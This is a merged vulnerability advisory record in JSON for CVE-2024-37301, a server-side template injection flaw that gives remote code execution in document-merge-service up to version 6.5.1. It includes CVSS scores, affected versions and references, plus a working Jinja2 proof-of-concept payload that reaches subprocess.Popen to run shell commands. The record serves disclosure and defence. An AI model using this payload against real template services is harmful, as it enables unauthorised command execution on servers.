{"id":"CVE-2024-37301","aliases":["CVE-2024-37301","GHSA-v5gf-r78h-55q6","PYSEC-2026-1314"],"related":[],"kind":"vulnerability","state":"published","title":"document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection","summary":"Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.","source":"cvelist"},{"lang":"en","text":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Document Merge Service es un servicio de combinación de plantillas de documentos que proporciona una API para administrar plantillas y combinarlas con datos determinados. Las versiones 6.5.1 y anteriores son vulnerables a la ejecución remota de código mediante la inyección de plantillas del lado del servidor que, cuando se ejecuta como root, puede resultar en la toma total del sistema afectado. En el momento de la publicación, no existe ninguna versión parcheada ni se ha revelado ningún workaround.","source":"nvd"}],"published":"2024-06-11T18:34:38.374Z","modified":"2026-07-07T17:56:45.564Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"}],"cwes":["CWE-1336"],"affected":[{"ranges":[{"version":"< 6.5.2","status":"affected"}],"vendor":"adfinis","product":"document-merge-service","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","lastAffected":"6.5.1","status":"affected"}],"vendor":"adfinis","product":"document_merge_service","cpe":"cpe:2.3:a:adfinis:document_merge_service:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"6.5.2"}],"ecosystem":"PyPI","package":"document-merge-service","purl":"pkg:pypi/document-merge-service","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"6.5.2"}],"ecosystem":"PyPI","package":"document-merge-service","purl":"pkg:pypi/document-merge-service","source":"pysec"}],"references":[{"url":"https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6","tags":["web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37301","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/adfinis/document-merge-service","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/document-merge-service","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-v5gf-r78h-55q6","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-06-11T20:18:28.016Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-37301","url":"https://www.cve.org/CVERecord?id=CVE-2024-37301","licence":"CVE Terms of Use","modified":"2026-02-04T19:40:11.164Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-v5gf-r78h-55q6","url":"https://github.com/advisories/GHSA-v5gf-r78h-55q6","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:45.564Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-37301","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37301","licence":"Public domain","modified":"2026-06-17T07:38:06.060Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1314","url":"https://osv.dev/vulnerability/PYSEC-2026-1314","licence":"CC-BY-4.0","modified":"2026-07-07T17:46:38.958Z"}],"updatedAt":"2026-11-25T22:58:41.720Z","epss":{"score":0.0104,"percentile":0.64924,"date":"2026-12-01T12:00:22.000Z"}}